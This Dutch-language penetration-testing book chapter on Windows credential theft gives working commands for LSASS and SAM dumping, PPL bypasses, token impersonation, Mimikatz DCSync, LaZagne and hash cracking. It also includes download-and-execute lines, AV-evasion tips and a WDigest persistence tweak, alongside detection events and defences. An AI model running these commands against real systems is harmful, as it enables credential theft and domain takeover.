Credential Access
De sleutelbos van de conciërge
Er is een mooi verschijnsel dat je kunt observeren in elk groot kantoorgebouw: de conciërge. Die ene persoon die een sleutelbos heeft waar je jaloers op wordt. Elke deur, elke kast, elk trappenhuis, de serverruimte, het dak – hij kan overal komen. En die sleutelbos hangt aan zijn riem, zichtbaar voor iedereen, trots gedragen als een medaille.
In Windows-netwerken is LSASS die conciërge. Het Local Security Authority Subsystem Service-proces draait op elke Windows-machine en bewaart de credentials van iedereen die heeft ingelogd. Wachtwoorden, hashes, Kerberos tickets – alles zit daar. En net als die sleutelbos, is het verrassend toegankelijk voor wie weet waar hij moet kijken.
Dit hoofdstuk gaat over het stelen van credentials. Het is het smerigste, het meest effectieve, en tegelijkertijd het meest vermijdbare onderdeel van een aanval. Want als organisaties hun credentials goed zouden beschermen, zou het merendeel van wat we in hoofdstuk 9 bespraken simpelweg niet werken. Maar ze doen het niet. Omdat – en hier komt de eeuwige waarheid – wachtwoorden makkelijk zijn, mensen lui zijn, en “we regelen het volgende kwartaal” de meest uitgesproken zin in IT-beveiliging is.
10.1 Waarom credential access de heilige graal is
Laten we een stap terug doen. In hoofdstuk 9 hebben we gezien hoe je van machine naar machine beweegt. Maar elke techniek vereist credentials: een wachtwoord, een hash, of een Kerberos ticket. Zonder credentials ga je nergens naartoe. Je zit vast op je ene gecompromitteerde werkstation als een toerist die zijn paspoort kwijt is.
Credential access verandert dat. Met de juiste credentials kun je:
- Lateraal bewegen naar elke machine waar die credentials geldig zijn
- Privileges escaleren als de gestolen credentials hogere rechten hebben
- Persisteren door credentials te gebruiken die niet snel worden geroteerd
- Domain dominance bereiken via DCSync of vergelijkbare technieken
Het is een multiplicator-effect. Eén set gestolen credentials kan leiden tot tien, honderd, duizend gecompromitteerde systemen. Het is de nucleaire optie van penetratietesten.
In MITRE ATT&CK-termen zitten we in Credential Access (TA0006). De belangrijkste technieken:
| Techniek | MITRE ID | Bron |
|---|---|---|
| LSASS Memory Dump | T1003.001 | Proces geheugen |
| SAM Database | T1003.002 | Registry hives |
| Token Impersonation | T1134.001 | Draaiende processen |
| Cached Credentials | T1003.005 | Registry |
| Credential Managers | T1555 | Applicatie-opslag |
10.2 LSASS – De goudmijn in het geheugen
Waarom LSASS alles bevat
LSASS (Local Security Authority Subsystem Service) is het proces dat verantwoordelijk is voor authenticatie op Windows. Elke keer dat iemand inlogt – interactief, via RDP, via een service – worden de credentials gecached in het LSASS-procesgeheugen.
En met “credentials” bedoel ik niet alleen een hash. Afhankelijk van de configuratie vind je:
- NTLM hashes – altijd aanwezig
- Kerberos tickets (TGT en service tickets) – als het account Kerberos gebruikt
- WDigest plaintext wachtwoorden – op oudere systemen of als WDigest is ingeschakeld
- DPAPI master keys – voor het ontsleutelen van opgeslagen credentials
- Cached domain credentials – voor offline authenticatie
Het is alsof iemand een kluis heeft gebouwd en vervolgens alle sleutels in de kluis heeft gelegd. Met de deur open.
Het is eigenlijk een fascinerend stukje software-engineering. Het probleem is niet dat LSASS credentials cached – dat is functioneel noodzakelijk voor Single Sign-On. Het probleem is dat Microsoft jarenlang dacht dat “de aanvaller heeft geen admin-rechten” een voldoende beveiligingsgrens was. Spoiler: dat was het niet.
De comsvcs.dll methode – Living off the land
De elegantste manier om LSASS te dumpen gebruikt geen enkele externe tool. Alleen wat Windows zelf aanbiedt:
:: Stap 1: Vind het LSASS Process ID
tasklist /fi "imagename eq lsass.exe"
Image Name PID Session Name
========================= ======== ================
lsass.exe 672 Services:: Stap 2: Dump via rundll32 + comsvcs.dll
rundll32.exe C:\Windows\System32\comsvcs.dll, MiniDump 672 C:\Windows\tasks\lsass.dmp fullOf de PowerShell-variant die de PID automatisch ophaalt:
rundll32.exe C:\Windows\System32\comsvcs.dll, MiniDump (Get-Process lsass).Id C:\Windows\tasks\lsass.dmp fullDat is het. Twee regels. Geen externe tools. Alleen
rundll32.exe en een DLL die op elke Windows-machine staat.
Het is alsof de inbreker de koevoet vindt die naast de voordeur
staat.
IB – Het cred_minidump command in IB
genereert beide varianten: de handmatige PID-lookup en de PowerShell
one-liner. IB herinnert je eraan dat AV steeds beter wordt in het
detecteren van comsvcs.dll dumps. Overweeg om comsvcs.dll
naar een ander pad te kopieren om string-based detectie te omzeilen.
Stap 3: Offline extractie
De dump zelf bevat ruwe geheugenpagina’s. Om er credentials uit te halen, gebruik je Mimikatz op je eigen machine:
mimikatz # sekurlsa::minidump lsass.dmp
mimikatz # sekurlsa::logonpasswords
Dit is de veiligere aanpak: je draait Mimikatz niet op het doelsysteem (waar het gedetecteerd kan worden), maar op je eigen machine. De dump download je via je C2-kanaal of via SMB.
LSASS Protected Process Light (PPL)
Microsoft wist dat LSASS een doelwit was en heeft RunAsPPL geintroduceerd – Protected Process Light. Als PPL actief is, kunnen zelfs processen met SYSTEM-rechten niet zomaar het geheugen van LSASS lezen.
Controleer of PPL actief is:
Get-Process lsass | Format-List *protect*Als PPL actief is, heb je zwaardere middelen nodig:
:: Methode 1: PPLdump (exploits LSASS PPL protection)
.\PPLdump.exe lsass.exe C:\Windows\tasks\lsass.dmp
:: Methode 2: Via Mimikatz driver (mimidrv.sys)
mimikatz # !+
mimikatz # !processprotect /process:lsass.exe /remove
mimikatz # sekurlsa::logonpasswords
:: Methode 3: PPLKiller (kernel driver exploit)
.\PPLKiller.exe /installDriver
.\PPLKiller.exe /disablePPL lsass
.\PPLKiller.exe /uninstallDriverNa het uitschakelen van PPL kun je de normale dump-methode gebruiken:
rundll32.exe C:\Windows\System32\comsvcs.dll, MiniDump (Get-Process lsass).Id C:\Windows\tasks\lsass.dmp fullIB – Het cred_lsass_ppldump command
bevat alle vier methoden om PPL te omzeilen: PPLdump, Mimikatz driver,
PPLKiller, en SafetyKatz. SafetyKatz is bijzonder handig: het doet een
MiniDumpWriteDump in-memory met een ingebouwde AMSI bypass. Je laadt het
via de IB Loader:
C:\Users\Public\Loader.exe -path http://10.0.0.1/tools/SafetyKatz.exe
Methode 4: SafetyKatz – De moderne aanpak
SafetyKatz combineert het beste van twee werelden: het maakt een minidump in geheugen (zonder naar schijf te schrijven) en parseert de credentials direct. Geen bestanden op de schijf, geen extra download, alles in-memory:
C:\Users\Public\Loader.exe -path http://10.0.0.1/tools/SafetyKatz.exeDe Loader downloadt SafetyKatz, voert het uit in geheugen, en je krijgt de credentials direct terug. Het is de stealth-variant voor wanneer je geen dumpbestanden op de schijf wilt achterlaten.
Detectie
LSASS dumps zijn een van de best gedetecteerde aanvalstechnieken – als je de juiste monitoring hebt:
- Sysmon Event ID 10 (Process Access) met TargetImage
lsass.exeen GrantedAccess0x1010of0x1FFFFF - Event ID 4656 (Handle Request) voor
lsass.exe - AV/EDR detecteert
comsvcs.dllMiniDump-aanroepen steeds beter - Credential Guard maakt de hele aanval onmogelijk door credentials in een Hyper-V-geïsoleerde omgeving te bewaren
Het probleem is dat “als je de juiste monitoring hebt” een groot voorbehoud is. De meeste organisaties hebben Sysmon niet geinstalleerd, laat staan geconfigureerd om LSASS-access te monitoren. Ze vertrouwen op hun AV, en hun AV vertrouwt op signatures die zes maanden achter de feiten aanlopen.
10.3 SAM Database – De lokale schatkamer
Wat is de SAM?
De Security Account Manager (SAM) database bevat de wachtwoordhashes van alle lokale accounts op een Windows-machine. Niet de domain accounts – die staan op de domain controller in NTDS.dit. Maar de lokale accounts: Administrator, Guest, en alle custom lokale accounts die iemand ooit heeft aangemaakt.
“Maar lokale accounts zijn toch niet interessant?” hoor ik je denken. Fout. Om twee redenen:
Wachtwoord hergebruik: Als het lokale admin-wachtwoord op machine A hetzelfde is als op machine B (en dat is het bijna altijd als LAPS niet wordt gebruikt), dan heb je met één hash toegang tot alle machines met hetzelfde wachtwoord.
Cached domain credentials: De SAM bevat ook gecachte domain credentials voor offline authenticatie. Als iemand met een domain account heeft ingelogd op deze machine, staat daar een hash van.
Registry hive dump
De SAM is opgeslagen als registry hive. Om hem te dumpen heb je drie bestanden nodig:
:: Vereiste: Local admin rechten
reg save HKLM\SAM C:\Windows\tasks\sam.bak
reg save HKLM\SYSTEM C:\Windows\tasks\system.bak
reg save HKLM\SECURITY C:\Windows\tasks\security.bakDat is het. Drie commando’s. Geen tools nodig. De SYSTEM
hive bevat de encryptiesleutel die nodig is om de hashes in de
SAM hive te ontsleutelen. De SECURITY hive
bevat cached domain credentials en LSA secrets.
IB – Het cred_sam_dump command in IB
genereert de drie reg save commando’s met de juiste paden.
IB herinnert je eraan dat je ook de Volume Shadow Copy-methode kunt
gebruiken als reg save geblokkeerd is.
Offline extractie
Download de drie bestanden naar je aanvalsmachine en gebruik
Impacket’s secretsdump.py:
python3 secretsdump.py -sam sam.bak -system system.bak -security security.bak LOCALOutput:
[*] Target system bootKey: 0xabcdef1234567890abcdef1234567890
[*] Dumping local SAM hashes (uid:rid:lmhash:nthash)
Administrator:500:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
DefaultAccount:503:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
svc_backup:1001:aad3b435b51404eeaad3b435b51404ee:e53d87d42adaa3ca32bdb34a876cbffb:::
[*] Dumping cached domain logon information (domain/username:hash)
CORP.LOCAL/admin.vanderberg:$DCC2$10240#admin.vanderberg#a9f...
Of met Mimikatz:
mimikatz # lsadump::sam /sam:sam.bak /system:system.bak
Volume Shadow Copy als alternatief
Soms is reg save geblokkeerd door EDR of AppLocker. In
dat geval kun je Volume Shadow Copies gebruiken:
:: Maak een shadow copy aan
wmic shadowcopy call create Volume='C:\'
:: Kopieer SAM uit de shadow copy
copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\System32\config\SAM C:\Windows\tasks\sam.bak
copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\System32\config\SYSTEM C:\Windows\tasks\system.bak
copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\System32\config\SECURITY C:\Windows\tasks\security.bakDit omzeilt de file lock die het besturingssysteem op de registry hives heeft. Het is een beetje alsof je een fotokopie maakt van een document dat in een afgesloten la ligt – je hoeft de la niet te openen, je kopieert gewoon de inhoud via een omweg.
Detectie
- Event ID 4656 (Handle Request) voor
HKLM\SAM - Sysmon Event ID 1 met
reg.exe saveenSAMofSYSTEMin de commandline - Event ID 8222 (Shadow Copy Creation)
- EDR-producten monitoren
reg saveoperaties op gevoelige hives steeds beter
10.4 Token Impersonation – Iemand anders zijn
Tokens in Windows
Elk proces in Windows draait met een access token dat bepaalt wie dat proces “is” en welke rechten het heeft. Er zijn twee soorten tokens die relevant zijn:
- Delegation tokens: Gecreeerd bij interactieve logons (RDP, console, runas). Deze tokens kunnen worden hergebruikt voor authenticatie naar andere systemen.
- Impersonation tokens: Gecreeerd bij netwerk logons (SMB drive mappings, WinRM). Deze tokens zijn beperkter maar nog steeds bruikbaar.
Als je SYSTEM-rechten hebt op een machine, kun je elk token op die machine stelen en gebruiken. Je wordt letterlijk een andere gebruiker. Het is identiteitsdiefstal op OS-niveau.
Rubeus – Token triage
Rubeus is primair een Kerberos-tool (zie hoofdstuk 8), maar de
triage-functie is handig om te zien welke tickets
beschikbaar zijn:
.\Rubeus.exe triageOutput toont alle Kerberos tickets in het geheugen van alle sessies. Als je een ticket ziet van een domain admin, kun je het extraheren en injecteren:
:: Ticket extraheren
.\Rubeus.exe dump /luid:0x12345 /nowrap
:: Ticket injecteren in je sessie (Pass-the-Ticket)
.\Rubeus.exe ptt /ticket:BASE64_TICKET_HEREIncognito – Token impersonation
Incognito is de klassieke tool voor token impersonation:
:: Lijst alle beschikbare tokens
.\incognito.exe list_tokens -u
Delegation Tokens Available
========================================
CORP\admin.vanderberg
CORP\jdejong
NT AUTHORITY\SYSTEM
Impersonation Tokens Available
========================================
CORP\svc_backup:: Impersonate een token
.\incognito.exe execute -c "CORP\admin.vanderberg" cmd.exeEn plotseling heb je een cmd.exe die draait als
CORP\admin.vanderberg. Zonder ooit zijn wachtwoord of hash
te kennen. Je hebt gewoon zijn token gestolen – het digitale equivalent
van iemands badge lenen en door de beveiligingspoort lopen.
Mimikatz token elevation
Mimikatz kan ook tokens manipuleren:
# Token elevatie naar SYSTEM + credential dump
Invoke-Mimikatz -Command '"privilege::debug" "token::elevate" "sekurlsa::logonpasswords"'
# Specifieke user impersonaten
Invoke-Mimikatz -Command '"privilege::debug" "token::elevate /domainadmin" "token::run /process:cmd.exe"'De token::elevate /domainadmin variant zoekt specifiek
naar een token van een domain admin op het systeem. Als er een gevonden
wordt, krijg je een cmd.exe als die domain admin.
IB – Het cred_token_impersonate command
in IB biedt vier methoden: Rubeus triage, Incognito, Mimikatz token
elevation, en PowerShell native. Het bevat ook uitleg over het verschil
tussen delegation en impersonation tokens: - Delegation
= interactieve logons (RDP, runas) – krachtigst -
Impersonation = netwerk logons (drive mappings) –
beperkter
Wanneer vind je welk token?
| Scenario | Token type | Voorbeeld |
|---|---|---|
| Admin logt in via RDP | Delegation | Krachtigst, volledig herbruikbaar |
| Mapped network drive | Impersonation | Beperkt, maar bruikbaar op lokale machine |
| Scheduled task draait | Delegation | Als de task als specifieke user draait |
| Service account | Delegation | Als de service als domain user draait |
De gouden regel: als een domain admin ooit interactief heeft ingelogd op de machine waarop jij staat, dan is zijn delegation token beschikbaar. En dat token verloopt pas als het systeem wordt herstart of de gebruiker expliciet uitlogt (niet alleen zijn sessie sluit).
Daarom zijn jump-hosts zo belangrijk: als admins via een jump-host werken in plaats van direct op servers in te loggen, beperken ze het aantal machines waarop hun tokens achterblijven.
10.5 Mimikatz – De diepere duik
Het gereedschap dat de wereld veranderde
Er zijn weinig tools die zo’n impact hebben gehad op de beveiligingsindustrie als Mimikatz. Benjamin Delpy schreef het oorspronkelijk als proof-of-concept om te laten zien dat Windows credentials onveilig waren. Microsoft’s reactie was niet om het probleem op te lossen, maar om Delpy te vragen om het niet openbaar te maken.
Hij deed het toch. En de rest is geschiedenis.
Mimikatz is niet één tool – het is een Zwitsers zakmes van credential-aanvallen. Laten we de belangrijkste modules doorlopen.
Mimikatz downloaden via IB
Eerst moet je Mimikatz op het doelsysteem krijgen. IB biedt twee methoden:
Via certutil (het mimikatz command):
cd C:\Windows\tasks && certutil -urlcache -f http://127.0.0.1/tools/mimikatz.exe mimi.exeVia PowerShell (het psmimikatz command):
powershell -c (new-object System.Net.WebClient).DownloadFile('http://127.0.0.1/tools/mimi/mimikatz.exe','c:\windows\tasks\mimi.exe')IB – De mimikatz en
psmimikatz commands downloaden Mimikatz naar
C:\Windows\tasks\mimi.exe. IB host het bestand op de
ingebouwde HTTP server. Let op: het IP-adres staat op 127.0.0.1 – dit
veronderstelt dat IB draait op dezelfde machine of dat je port
forwarding hebt ingesteld. Pas het adres aan naar je eigen IP.
Merk op dat we het bestand hernoemen naar mimi.exe. Het
is een kleine OPSEC-maatregel: sommige AV-producten triggeren op de
bestandsnaam mimikatz.exe zonder de inhoud te controleren.
Dat is alsof de politie een dief laat lopen omdat hij een pet
opheeft.
sekurlsa::logonpasswords – De klassieker
Dit is het commando dat iedereen kent:
mimikatz # privilege::debug
mimikatz # sekurlsa::logonpasswords
Output (verkort):
Authentication Id : 0 ; 12345678 (00000000:00bc614e)
Session : Interactive from 1
User Name : admin.vanderberg
Domain : CORP
Logon Server : DC01
Logon Time : 2024-01-15 09:23:15
msv :
[00000003] Primary
* Username : admin.vanderberg
* Domain : CORP
* NTLM : e53d87d42adaa3ca32bdb34a876cbffb
* SHA1 : a4f49c406510bdcab6824ee7c30fd852e049b510
wdigest :
* Username : admin.vanderberg
* Domain : CORP
* Password : (null)
kerberos :
* Username : admin.vanderberg
* Domain : CORP.LOCAL
* Password : (null)
Op moderne systemen (Windows 10+, Server 2016+) zul je zien dat
WDigest en Kerberos (null) tonen voor het wachtwoord. Dat
is omdat Microsoft WDigest standaard heeft uitgeschakeld. Maar de NTLM
hash is er altijd. En met die hash kun je Pass-the-Hash doen (zie
hoofdstuk 9).
sekurlsa::wdigest – Plaintext wachtwoorden
Op oudere systemen, of als iemand de registry key
UseLogonCredential heeft ingeschakeld (wat vaker voorkomt
dan je zou hopen, meestal vanwege legacy-applicaties), kun je plaintext
wachtwoorden ophalen:
mimikatz # sekurlsa::wdigest
Als WDigest is ingeschakeld, zie je het wachtwoord in cleartext. Geen hash, geen encryptie, gewoon het wachtwoord. Het is alsof je de kluis openmaakt en er een Post-it in vindt met het wachtwoord erop geschreven.
Om WDigest handmatig in te schakelen (als aanvaller, voor persistentie):
reg add HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v UseLogonCredential /t REG_DWORD /d 1 /fNa de volgende interactieve logon wordt het wachtwoord in cleartext gecached. Dit is een bekende techniek voor persistentie: je schakelt WDigest in, wacht tot de gebruiker opnieuw inlogt, en haalt het wachtwoord op.
lsadump::sam – Lokale hashes
mimikatz # lsadump::sam
Dit doet hetzelfde als de reg save methode die we in
sectie 10.3 bespraken, maar dan direct in geheugen. Geen bestanden op
schijf, geen reg save commando’s die EDR kan
detecteren.
lsadump::dcsync – De nucleaire optie
DCSync is de krachtigste Mimikatz-module. Het simuleert het gedrag van een domain controller die replicatie aanvraagt. In mensentaal: Mimikatz doet alsof het een DC is en vraagt de echte DC: “Hé, stuur me even alle wachtwoordhashes.”
mimikatz # lsadump::dcsync /user:CORP\krbtgt
mimikatz # lsadump::dcsync /user:CORP\Administrator
mimikatz # lsadump::dcsync /all /csv
DCSync vereist Replicating Directory Changes en
Replicating Directory Changes All rechten. Standaard hebben
alleen Domain Admins en de DC-machine accounts deze rechten. Maar als je
die rechten hebt (of ze via ACL abuse hebt verkregen, zie hoofdstuk 7),
dan heb je toegang tot elke hash in het domein.
Met de krbtgt hash kun je Golden Tickets maken
(hoofdstuk 8). Met de Administrator hash kun je
Pass-the-Hash naar elke machine. Met /all /csv dump je het
hele domein in één keer.
PowerShell Invoke-Mimikatz
Als je Mimikatz niet als executable wilt draaien (omdat AV het detecteert), kun je het in PowerShell laden:
# Reflective PE injection -- Mimikatz draait volledig in geheugen
IEX (New-Object Net.WebClient).DownloadString('http://10.0.0.1/payloads/Invoke-Mimikatz.ps1')
Invoke-Mimikatz -Command '"privilege::debug" "sekurlsa::logonpasswords"'
# DCSync via PowerShell
Invoke-Mimikatz -Command '"lsadump::dcsync /user:CORP\krbtgt"'
# Token elevation + credential dump
Invoke-Mimikatz -Command '"privilege::debug" "token::elevate" "sekurlsa::logonpasswords"'De PowerShell-variant laadt Mimikatz volledig in geheugen via
reflective PE injection. Er komt geen mimikatz.exe op de
schijf. Het is onzichtbaar voor file-based AV. Maar niet voor AMSI –
daarom heb je de AMSI bypass uit hoofdstuk 4 nodig.
Mimikatz detectie
Mimikatz is de meest gedetecteerde offensive tool ter wereld. AV-signatures, EDR-regels, YARA-rules – alles zoekt naar Mimikatz. Maar:
- Hernoemen werkt vaker dan je denkt (
mimi.exein plaats vanmimikatz.exe) - Reflective loading omzeilt file-based detectie
- Aangepaste compilaties met gewijzigde strings omzeilen signature-detectie
- SafetyKatz en SharpKatz zijn .NET-varianten die minder gedetecteerd worden
De detectie-armsrace is een eindeloze cyclus. Microsoft patcht, Delpy past aan. AV-leveranciers schrijven signatures, pentesters wijzigen strings. Het is als een kat-en-muis-spel, behalve dat de kat soms vergeet dat er een muis is.
10.6 LaZagne – De brede aanpak
Meer dan alleen Windows credentials
LaZagne is de stofzuiger van credential-tools. Waar Mimikatz zich richt op Windows authenticatie-geheugen, doorzoekt LaZagne alles: browsers, email clients, WiFi-configuraties, database tools, sysadmin tools, en meer.
Download LaZagne via IB:
powershell -c (new-object System.Net.WebClient).DownloadFile('http://10.0.0.1/tools/lazagne.exe','c:\windows\tasks\lazagne.exe')IB – Het get_lazagne command downloadt
LaZagne naar C:\Windows\tasks\lazagne.exe. IB host het
bestand op de ingebouwde HTTP server.
Gebruik
:: Alle modules draaien
C:\Windows\tasks\lazagne.exe all
:: Alleen browsers
C:\Windows\tasks\lazagne.exe browsers
:: Alleen WiFi wachtwoorden
C:\Windows\tasks\lazagne.exe wifi
:: Alleen sysadmin tools (PuTTY, FileZilla, WinSCP, etc.)
C:\Windows\tasks\lazagne.exe sysadminWat vindt LaZagne?
| Categorie | Applicaties |
|---|---|
| Browsers | Chrome, Firefox, Edge, Opera, IE – opgeslagen wachtwoorden en cookies |
| Outlook, Thunderbird, Windows Mail | |
| WiFi | Alle opgeslagen WiFi-netwerken met wachtwoorden |
| Sysadmin | PuTTY, FileZilla, WinSCP, OpenSSH, Remote Desktop |
| Database | SQLDeveloper, Robomongo, DBVisualizer |
| Windows | Credential Manager, Vault, autologon |
| Git | Git credentials opgeslagen via credential manager |
De output is vaak verrassend. Systeembeheerders die PuTTY gebruiken om naar productieservers te SSH’en en hun wachtwoorden opslaan. Ontwikkelaars die database-credentials hebben opgeslagen in hun SQL-client. De IT-helpdesk die WiFi-wachtwoorden heeft opgeslagen op gedeelde werkstations.
Mensen klagen dat hackers hun wachtwoorden stelen, maar ze bewaren ze letterlijk in een bestand genaamd ‘opgeslagen wachtwoorden.’ Dat is niet stelen, dat is ophalen.
Praktijkvoorbeeld
Een typische LaZagne-run op een werkstation van een systeembeheerder:
[+] Password found !!!
URL: https://git.corp.local
Login: admin.vanderberg
Password: W1nt3rIsComing!
[+] Password found !!!
Software: PuTTY
Hostname: 10.10.10.50
Username: root
Password: Sup3rS3cret!
[+] Password found !!!
Software: WinSCP
Hostname: 10.10.10.60
Username: deploy
Password: D3pl0y2024!!
[+] Password found !!!
SSID: CORP-WiFi
Password: WelkomBijCorpWiFi!
Vier wachtwoorden. Eén commando. Geen exploits, geen privilege escalation, geen fancy technieken. Gewoon opgeslagen wachtwoorden ophalen. En je kunt wedden dat minstens één van die wachtwoorden ook ergens anders wordt hergebruikt.
Detectie
LaZagne is minder gedetecteerd dan Mimikatz, maar:
- AV-signatures bestaan voor het LaZagne-executable
- EDR monitort toegang tot browser credential stores (Chrome’s
Login DataSQLite database, Firefoxlogins.json) - Sysmon Event ID 1 met
lazagne.exein de commandline - Toegang tot
%APPDATA%locaties van andere gebruikers is verdacht
10.7 Offline cracking – Van hash naar wachtwoord
Waarom offline cracken?
Je hebt hashes. Mooi. Met NTLM hashes kun je Pass-the-Hash doen en dat is vaak voldoende. Maar soms wil je het daadwerkelijke wachtwoord:
- Wachtwoord hergebruik: Mensen gebruiken hetzelfde wachtwoord voor meerdere systemen – Linux, VPN, cloud, persoonlijke accounts
- Credential stuffing: Met het plaintext wachtwoord kun je meer dan alleen Windows-systemen aanvallen
- Rapportage: Het is overtuigender om in je rapport te schrijven “het wachtwoord was ‘Welkom01!’” dan “we hebben een hash buitgemaakt”
Hashcat
Hashcat is de industriestandaard voor wachtwoord-cracking. Het gebruikt je GPU voor massale parallelle berekeningen:
# NTLM hash kraken met woordenlijst
hashcat -m 1000 hashes.txt /usr/share/wordlists/rockyou.txt
# Met regels (toevoegen van cijfers, speciale tekens, etc.)
hashcat -m 1000 hashes.txt /usr/share/wordlists/rockyou.txt -r /usr/share/hashcat/rules/best64.rule
# Mask attack: wachtwoord + 4 cijfers + speciaal teken
hashcat -m 1000 hashes.txt -a 3 ?u?l?l?l?l?l?d?d?d?d?s
# DCC2 (cached domain credentials) -- veel langzamer
hashcat -m 2100 dcc2_hashes.txt /usr/share/wordlists/rockyou.txtHash types die je tegenkomt:
| Hashcat mode | Type | Snelheid |
|---|---|---|
| 1000 | NTLM | Extreem snel (~100 GH/s op RTX 4090) |
| 2100 | DCC2 (cached creds) | Langzaam (~1 MH/s) |
| 13100 | Kerberoast (TGS-REP) | Langzaam-gemiddeld |
| 18200 | AS-REP roast | Langzaam-gemiddeld |
| 3200 | bcrypt | Extreem langzaam |
John the Ripper
John is de alternatieve cracker met enkele voordelen: betere regelverwerking, meer hash-formaten out of the box, en het draait goed op CPU als je geen krachtige GPU hebt:
# NTLM kraken
john --format=NT hashes.txt --wordlist=/usr/share/wordlists/rockyou.txt
# Met regels
john --format=NT hashes.txt --wordlist=/usr/share/wordlists/rockyou.txt --rules=best64
# Resultaten tonen
john --format=NT hashes.txt --showSlimme regels
Het verschil tussen een mediocre en een goede cracker zit in de regels. Wachtwoordbeleid in Nederlandse organisaties leidt tot voorspelbare patronen:
# Nederlandse patronen:
# Welkom01! → hoofdletter + woord + cijfers + speciaal teken
# Zomer2024! → seizoen + jaar + speciaal teken
# Amsterdam1! → stad + cijfer + speciaal teken
# Bedrijfsnaam01! → bedrijf + cijfers + speciaal tekenMaak een custom woordenlijst met:
# Seizoenen, maanden, bedrijfsnaam, steden
cat << 'EOF' > custom_words.txt
Welkom
Wachtwoord
Winter
Zomer
Lente
Herfst
Januari
Februari
Amsterdam
Rotterdam
Utrecht
CompanyName
EOF
# Combineer met regels
hashcat -m 1000 hashes.txt custom_words.txt -r /usr/share/hashcat/rules/best64.ruleJe zou verbaasd zijn – of eigenlijk niet verbaasd, want het is deprimerend voorspelbaar – hoeveel wachtwoorden in Nederlandse organisaties een seizoen of maand bevatten, gevolgd door het huidige jaar en een uitroepteken. “Herfst2025!” is technisch gezien een sterk wachtwoord: 12 tekens, hoofdletter, kleine letters, cijfers, speciaal teken. Maar het is ongeveer zo origineel als “Welkom01!”.
10.8 Verdediging – Credentials beschermen
Credential Guard
Dit is de single most effective maatregel tegen credential theft. Windows Credential Guard gebruikt virtualization-based security (VBS) om LSASS te isoleren in een aparte Hyper-V container. Zelfs SYSTEM-processen kunnen niet bij de credentials.
Met Credential Guard: - Mimikatz
sekurlsa::logonpasswords faalt - LSASS dumps bevatten geen
bruikbare credentials - Pass-the-Hash is sterk beperkt
Vereisten: - UEFI Secure Boot - TPM 2.0 (aanbevolen) - Windows 10 Enterprise / Education, of Server 2016+ - Geen legacy-applicaties die NTLM v1 of WDigest vereisen
Dat laatste punt is de reden waarom veel organisaties het niet implementeren. Er is altijd die ene legacy-applicatie uit 2008 die alleen met NTLM v1 werkt en die “business critical” is. En dus blijft Credential Guard op de roadmap. Jaar na jaar na jaar.
LAPS – Local Administrator Password Solution
LAPS zorgt ervoor dat elk werkstation een uniek, willekeurig lokaal admin-wachtwoord heeft dat regelmatig wordt geroteerd. De wachtwoorden worden opgeslagen in Active Directory en zijn alleen leesbaar voor geautoriseerde accounts.
Zonder LAPS: als je het lokale admin-wachtwoord van één werkstation hebt, heb je ze allemaal. Met LAPS: als je het lokale admin-wachtwoord van één werkstation hebt, heb je precies dat werkstation.
Het verschil is het verschil tussen het stelen van een loper en het stelen van een enkele sleutel.
# Controleer of LAPS is geconfigureerd (als aanvaller)
Get-ADComputer -Filter * -Properties ms-Mcs-AdmPwd | Where-Object {$_.'ms-Mcs-AdmPwd' -ne $null}
# Als je de LAPS wachtwoorden kunt lezen (vereist rechten)
Get-ADComputer -Identity WS01 -Properties ms-Mcs-AdmPwd | Select-Object Name, ms-Mcs-AdmPwdProtected Users group
De Protected Users security group is een onderschatte verdedigingsmaatregel. Leden van deze groep:
- Kunnen niet authenticeren via NTLM (alleen Kerberos)
- Geen WDigest caching, zelfs als het is ingeschakeld
- Geen delegation van credentials
- Kerberos TGT lifetime beperkt tot 4 uur (in plaats van 10)
- Geen caching van credentials op machines waarop ze inloggen
Voeg alle gevoelige accounts toe: domain admins, enterprise admins, service accounts met hoge rechten.
# Voeg een account toe aan Protected Users
Add-ADGroupMember -Identity "Protected Users" -Members "admin.vanderberg"Tiered Administration Model
De meest fundamentele maar minst geimplementeerde verdediging: een gelaagd beheersmodel.
- Tier 0: Domain controllers, PKI, ADFS – alleen toegankelijk vanaf dedicated Privileged Access Workstations (PAWs)
- Tier 1: Member servers – beheer vanaf dedicated admin werkstations, niet vanaf reguliere werkstations
- Tier 2: Werkstations – standaard gebruikersrechten, geen lokale admin
De logica is simpel: een domain admin mag nooit inloggen op een werkstation. Als hij dat doet, laat hij credentials achter die gestolen kunnen worden. Door strikte scheiding tussen tiers voorkom je dat een gecompromitteerd werkstation leidt tot domain compromise.
Maar tiered administration is lastig, onpopulair bij systeembeheerders (“ik wil niet steeds van account wisselen”), en vereist discipline. Het is alsof je mensen vertelt dat ze hun autosleutels niet op de keukentafel moeten laten liggen. Iedereen snapt het, niemand doet het.
10.9 Het wachtwoord-hergebruik-probleem – De ongemakkelijke waarheid
Laat me even een statistiek delen die me elke keer weer verbijstert. In mijn ervaring – en dit is anekdotisch maar consistent – hergebruikt minimaal 60% van de gebruikers in een gemiddelde organisatie hun wachtwoord op meerdere systemen. Het lokale admin-wachtwoord is hetzelfde op 80% van de werkstations. En de domain admin heeft hetzelfde wachtwoord als zijn persoonlijke Gmail-account.
We weten al twintig jaar dat wachtwoord hergebruik een probleem is. We hebben password managers, we hebben MFA, we hebben biometrische authenticatie, we hebben passkeys. En toch, in 2026, is het meest voorkomende lokale admin-wachtwoord in Nederlandse bedrijven iets als “Welkom01!” of de naam van het bedrijf gevolgd door het jaar.
We noemen het een wachtwoord. Eén woord. Eén geheim dat alles beschermt. En wat doen mensen? Ze schrijven het op een Post-it en plakken het op hun monitor. Dat is geen wachtwoord, dat is een welkomstbord.”
Het grappige is dat organisaties miljoenen uitgeven aan firewalls, SIEM’s, SOC’s, en threat intelligence feeds. En dan logt de CFO in met “Welkom01!” op zijn werkstation, zijn VPN, zijn email, en zijn bankrekening. Al die miljoenen aan beveiliging worden irrelevant door zes toetsaanslagen en een gebrek aan verbeeldingskracht.
